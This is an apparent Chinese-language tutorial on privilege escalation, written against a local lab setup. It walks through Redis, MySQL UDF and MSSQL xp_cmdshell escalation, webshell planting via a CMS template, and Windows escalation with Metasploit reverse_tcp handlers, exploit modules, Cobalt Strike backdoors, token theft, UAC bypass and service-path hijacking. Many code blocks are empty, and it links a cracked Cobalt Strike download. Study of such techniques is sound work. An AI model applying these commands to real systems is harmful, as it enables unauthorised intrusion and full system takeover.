权限提升
权限提升
写在最前
本文参考了小迪安全,Freebuf,先知社区以及众多个人博客,涉及了提权基础知识和Windows的常见提权方法,未涉及Linux以及域的知识。
在学习提权之前,我们有必要来了解一下常见的权限有哪些。
- 后台权限 所谓的后台权限,就是通过 - 弱口令,- SQL注入等手段进入网站的后台。在此权限下,能够执行- 后台的一些功能,比如发布文章,但是执行的功能也仅仅局限于后台。
- 数据库权限 一般通过 - 弱口令或- 注入得到,在此权限下,可以对数据库文件进行修改。
- 普通权限 - 包括网站权限和普通的用户权限。 - 网站权限就是我们通常获得的Shell,常常通过一些RCE或文件上传,文件包含,反序列化等手段直达Shell。在此权限下,我们可以更改网站的 - 源代码或- 配置文件,也能收集到操作系统的相关信息。- 用户权限要比网站权限更高一些。 
- System权限 要么通过高危的系统漏洞,要么通过网站权限等提权得到。在此权限下,就相当于操作自己的电脑。 
 在Windows中,System权限是最高权限,相当于Linux里面的root。
一、数据库提权
1.1 Redis
1.1.1 写入SSH公钥
实战: 从数据库权限到Web权限
现在我们有某个Redis的访问权限,目标权限是Web权限。
Redis是一个基于键值对的NoSQL数据库, 比如set name
"qy"就设立了一个键为name值为qy的数据,此时数据是保存在内存中的,并没有保存在硬盘内,可以调用save命令使数据持久化。
首先通过redis-cli -h 192.168.126.144连接Redis服务器
然后执行以下命令写入你的公钥
| 1 |  | 
执行过程如下  写入后即可通过SSH获取Web权限
写入后即可通过SSH获取Web权限

1.1.2 定时任务反弹Shell
crontab是Linux中执行周期任务的命令,如果我们将反弹Shell的脚本
| 1 |  | 
1.1.3 写入Webshell
前提条件:
- 知道网站的目录
- 目录具有读写权限
| 1 |  | 
1.2 MySQL
- MySQL提权有两个前提条件
- 有数据库最高权限用户的密码
- secure-file-priv没有设置
 
- 获取最高权限用户密码的途径?
- 数据库配置文件(比如config.php)(演示-熊海CMS)
- 高权限的SQL注入点
- 数据库的存储文件或者备份文件(比如MYI文件)
 
1.2.1 UDF提权
前提条件:
- 知道root用户的密码
- secure-file-priv设置为空字符串
UDF(User Define
Function),指的是用户在数据库中自定义函数,在自定义函数时可以调用我们的恶意程序,进而实现提权。UDF提权时我们的恶意程序一般是dll文件,我们在生成这个dll文件后需要将其上传到指定的目录才能让UDF识别。值得注意的是,MySQL<5.2时我们需要导出到c:/windows或者c:/system32;当MySQL≥5.2时,需要导出到安装目录下的/lib/plugin(若是phpstudy搭建的MySQL需要自己创建)。我们可以用select version()和select @@basedir分别查看MySQL版本和安装目录。
接下来我们使用MSF进行UDF提权,但是,在开始之前,我们需要将MySQL开启外连,因为默认情况下,我们MySQL的root用户是不允许外部IP登录的,开启外连需要以下命令。
| 1 |  | 
在开启外连后,我们用MSF就可以远程连接,向相关目录里注入dll文件,命令如下:
| 1 |  | 

在命令执行完毕后,MSF会为我们创建函数sys_exec,但是此函数是没有回显的,我们需要但是我们已经得到的dll文件,我们可以根据dll文件创建具有回显的函数sys_eval,我们可以通过select * from mysql.func;来查看当前有哪些函数。
创建sys_eval函数的命令如下:
| 1 |  | 
接着,我们便可以利用sys_eval执行系统命令,相当于获得了一个User权限。

1.2.2 启动项提权
MSF:
| 1 |  | 
 
 
1.2.3 MOF提权
使用较少
1.2.4 反弹Shell提权
使用较少
1.3 MSSQL
1.3.1 xp_cmdshell提权
xp_cmdshell是一个存储过程(数据库课程会学到),负责调用系统命令。在较高版本的 SQLServer中默认关闭,我们可以通过如下命令进行打开。
| 1 |  | 
打开后我们就可通过xp_cmdshell调用系统命令,此时的权限取决于SQLServer的运行权限。
| 1 |  | 

1.3.2 sp_oacreate提权
略
1.3.3 沙盒提权
略
二、后台提权
2.1 查询历史CMS漏洞/代码审计
- 实战: 从后台权限提升到Web权限 假设我们通过弱口令已经获得了某个网站的后台权限,后台地址如下 http://192.168.126.144:8080/ofcms-admin/admin/index.html 我们的目标是将其提升为Web权限。注意,本文忽略了文件上传,文件包含等基础知识,在学习权限提升时,可以不用关注这些细枝末节。 要想根据后台权限获取Web权限,有两种思路。 - 若是CMS,寻找网络上CMS获Shell的相关漏洞。
- 若不是CMS或者CMS无相关资料,自己拿后台功能想办法。
这里我们选择第二种方法。
在后台的"模板设置"模块,我们可以看到,这是一个更新index.html的功能。那么我们能否利用此功能将后门写进xxx.jsp呢?要知道,只写进后门是不够的,还需要能够解析,也就是后缀绝不能是html。
我们发现"index.html"似乎不能更改,此时有两种思路绕过,一种是直接利用F12开发者模式修改标签对应的“value”属性,另一种是通过抓包修改,这里我们选择前者。
(注意:
这里的Shell代码是通过哥斯拉生成的,Shell路径也是通过白盒审计而来的,这两方面不在本文讨论范围内。我们只需对提权思路进行关注)
 
 - 则可得到你的Shell地址 - http://192.168.126.144:8080/ofcms-admin/static/aaa.jsp 提权成功  
2.2 寻找特定功能
三、用户提权
3.1 用户-->数据库
- 实战: 从Web权限到数据库权限
在前面,我们获得了OFCMS的Web权限,从Web权限到比较低层次的权限是相对而言容易跨越的。比如我们想获取数据库权限,只需在网站的源码中找到数据库的配置文件。
 
 
3.2 用户-->后台
假如我们通过其他方式直接获取到了Web权限,想得到后台权限,又该怎么操作呢? 大致思路分为两种,一种是直接修改源码中的认证流程,另一种是获取数据库权限后添加对应的管理员账户或者解密密码。
3.3 用户-->System
3.3.1 溢出漏洞
- 筛选漏洞项目推荐
- https://github.com/vulmon/Vulmap
- https://github.com/bitsadmin/wesng
- https://github.com/chroblert/WindowsVulnScan
- https://github.com/nomi-sec/PoC-in-GitHub
 
- EXP下载网站推荐
- https://github.com/k8gege/Ladon
- https://github.com/Ascotbe/KernelHub
- https://github.com/nomi-sec/PoC-in-GitHub 注意,在一些项目中,有已经编译好的CVE,但是并不推荐使用,因为不同版本的Windows或者相同版本的Windows即使有一些微小的差异,也会造成提权失败。更加推荐一些安全团队编写的框架,因为其EXP通用性和健壮性更强。
 
(1) 手动
- 步骤 - 收集信息(系统版本,最常见的是2008/2012/2016/2019 补丁 杀软信息 位数 网络 当前权限)
- 基于信息筛选可利用漏洞
- 上传EXP进行调用
 
- 收集信息阶段常用到的命令 - 1 
 2
 3
 4- ver
 systeminfo
 netstat -ano
 tasklist /svc
(2) 半自动
- 除了手动进行提权,我们还可以利用MSF进行半自动提权。
- 生成EXP, 上传到靶机
| 1 |  | 
- 进入MSF,配置监听对话 - 1 
 2
 3
 4
 5- use exploit/multi/handler
 set payload windows/x64/meterpreter/reverse_tcp
 set lhost 0.0.0.0
 set lport 8888
 run- 然后调用靶机上的反弹程序,成功连接,通过命令 - getuid我们可以看到此时的权限是Administrator,我们的目标是获取System权限。 
- 输入 - background保存当前会话(记住这个会话号,后面会用到),接下来我们去提权。输入如下命令让MSF自动筛选相关漏洞- 1 - use post/multi/recon/local_exploit_suggester  根据上图,我们可以看到MSF为我们筛选出了部分可用漏洞,我们以 根据上图,我们可以看到MSF为我们筛选出了部分可用漏洞,我们以- exploit/windows/local/cve_2021_40449为例进行演示。
- 提权 我们首先使用 - exploit/windows/local/cve_2021_40449这个模块(演示使用exploit/windows/local/cve_2022_21882_win32k),然后设置session,session就是之前我们最开始建立的哪个webshell会话- 1 
 2- use exploit/windows/local/cve_2021_40449
 set session 4 - 观察上面这个EXP的选项,我们可以看到 - Payload options下面的配置就是我们的System权限的Shell应该反弹到哪里,原先的Shell只是一个工具,他帮助我们执行漏洞利用程序,仅此而已。我们新开一个窗口,重新监听,方法和前面一样,如下图所示。 - 接着,我们在原先的EXP程序中执行 - run,我们就可以获取System权限的Shell。此时我们已经拥有最高权限,如下图所示。 
(3) 全自动
- 这里我们运用到了Cobalt Strike(简称CS),CS是一款基于Java的渗透测试工具,主要用于团队作战。要想使用CS,需要有一台服务器(S),假设靶机为服务器T,我们自己团队的成员比如成员A,成员B,成员C就可以都利用CS登录服务器S进行团队渗透。 
- 首先我们在服务器S上运行服务端: - 1 - ./teamserver <yourServerIP> <TeamPassword> 
- 然后我们运行CS登录服务器 

- 其中别名和用户随意。主机是服务器S的IP,端口默认即可,密码是在服务器S端运行服务端时设置的。
- 配置监听器(也就是你的反弹Shell弹到哪里) 依次点击Cobalt Strike->监听器,然后点击添加
 
- 配置监听器,其中名字任意,两个HTTP地址都填写你的服务器S地址

- 生成反弹Shell程序 依次点击攻击->生成后门->Windows可执行程序

其中的监听器就是上一步中添加的监听器,根据靶机情况选择是否勾选x64选项

- 将上一步中生成的后门程序上传到靶机,然后调用。 可以发现靶机上线,并且权限为Administrator。  
- 提升至System权限。 - 使用CS自带功能进行提权
  - 这里我们的监听器还是选择之前建立的监听器
  - 注意,CS为了隐蔽性,默认60秒才会执行命令,可以根据如下图的操作进行取消。 

将其设置为0

提权成功  提权后的网络拓扑图如下
提权后的网络拓扑图如下 
- 使用第三方插件进行提权 很多时候,CS自带的提权功能并不能帮助我们提升至System权限,需要用到第三方插件实现,这里,我们选择"Ladon9.0_巨龙拉冬插件"为例  - 这里我们以坏土豆为例进行演示,可以观察到成功提取到System权限  
3.3.2 服务命令
(1) AT
适用版本:win2003/winxp及以前
原理:at命令为一个计划命令, 在指定时间执行相关操作,由于at命令为System权限,其操作本质是创建一个子进程,会继承System权限,进而达到提权的目的。
| 1 |  | 
执行上面的命令后,会在凌晨02:27创建一个System权限的cmd
 
(2) SC
适用版本:win2003/winxp及以前
原理:sc命令负责管理计算机的服务,可以通过其创建一个具有System权限的cmd服务。
| 1 |  | 
运行服务
| 1 |  | 
 
(3) PS
适用版本: 几乎所有的Server版系统
PsTools是微软开发的一款工具,用于在远程服务器上执行命令,一般应用于服务器环境
| 1 |  | 
-accepteula:这个参数用于自动接受工具的最终用户许可协议(EULA)。
-s:以系统权限运行远程命令。这样可以在目标计算机上使用System账户执行命令,即拥有最高权限。
-i:这个参数允许在交互式会话中运行命令。通常,此参数与
-d 参数一起使用。
-d:这个参数指示PsExec在远程计算机上运行命令时不要等待命令完成。如果不使用
-d 参数,PsExec 将等待远程命令执行完成后才返回。
cmd:这是要在远程计算机上运行的命令。在这个例子中,它是一个简单的
cmd 命令提示符。
 
3.3.3 进程注入
(1) pinjector
| 1 |  | 
(2) MSF
获取session后执行
| 1 |  | 
 
3.3.4 令牌窃取
(1) 情景一
若此时我们的权限较高,比如是Administrator,就可以直接窃取令牌
| 1 |  | 
 
(2) 情景二
若此时我们只是普通的Webshell权限,是没办法直接窃取令牌的,需要配合烂土豆窃取令牌
| 1 |  | 
3.3.5 UAC绕过
(1) 使用MSF内置模块
-Test in Win7
use exploit/windows/local/bypassua
-Test in Win10
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
(2) 使用UACMe项目
https://github.com/hfiref0x/UACME
Akagi64.exe 41 msf1.exe
Akagi64.exe 编号 调用执行
3.3.6 DLL劫持
DLL查找顺序
- 应用程序加载的目录 
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- 当前工作目录Current Working Directory,CWD 
- 在PATH环境变量的目录(先系统后用户) 
利用火绒剑去分析程序调用了哪些DLL,然后尽量选择在应用程序加载的目录中的DLL,用ChkDllHijack工具判断是否能进行劫持,若能就用MSF生成对应的恶意DLL,进而getsystem
生成木马
| 1 |  | 
将生成的dll进行替换,当受害者点击某软件时,我们就进行了提权
 
 
3.3.7 服务相关
(1) 服务路径引号问题
过程:检测有路径问题的服务-->上传恶意程序-->监听-->重启服务
检测项目:JAWS
https://github.com/PowerShellMafia/PowerSploit
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
检测命令:
| 1 |  | 
上传我们的恶意程序,然后执行如下命令重启服务
| 1 |  | 
 
(2) 服务权限问题
原理:若服务的路径正确,但是权限配置不当,导致我们可以更改服务指向的地址,也会出现安全问题
过程:检测服务权限-->将服务路径指向恶意程序地址——>调用
相关脚本:
https://github.com/411Hall/JAWS
https://github.com/PowerShellMafia/PowerSploit
sc config "test" binpath="C:.exe"
sc start test
3.3.8 其他
使用MSF时,可以使用如下的命令自动化提权
| 1 |  | 
四、第三方软件
4.1 向日葵
4.2 Teamviewer
有一定的条件,运行反弹shell的必须至少比IIS权限大 ## 附: 环境部署/工具
OFCMS
docker-compoes.yml文件 1
2
3
4
5
6version: '3'
services:
  web_server:
    image: zhhhy/ofcms
    ports:
      - "8080:8080"docker-compose up -d 后台地址:
http://192.168.126.144:8080/ofcms-admin/admin/index.html 默认账号与密码:
admin:123456 ### SQLServer
https://www.bilibili.com/video/BV1XT4y1C7Gc?t=5.1
完成上面链接中的步骤后,需要前往Sql Server Configuration
Manager,找到SQL Server
网络配置选项,然后将MSSQLSERVER中的TCP/IP协议启用,如下图所示:

CS破解
https://www.ddosi.org/cobaltstrike-4-5-cracked/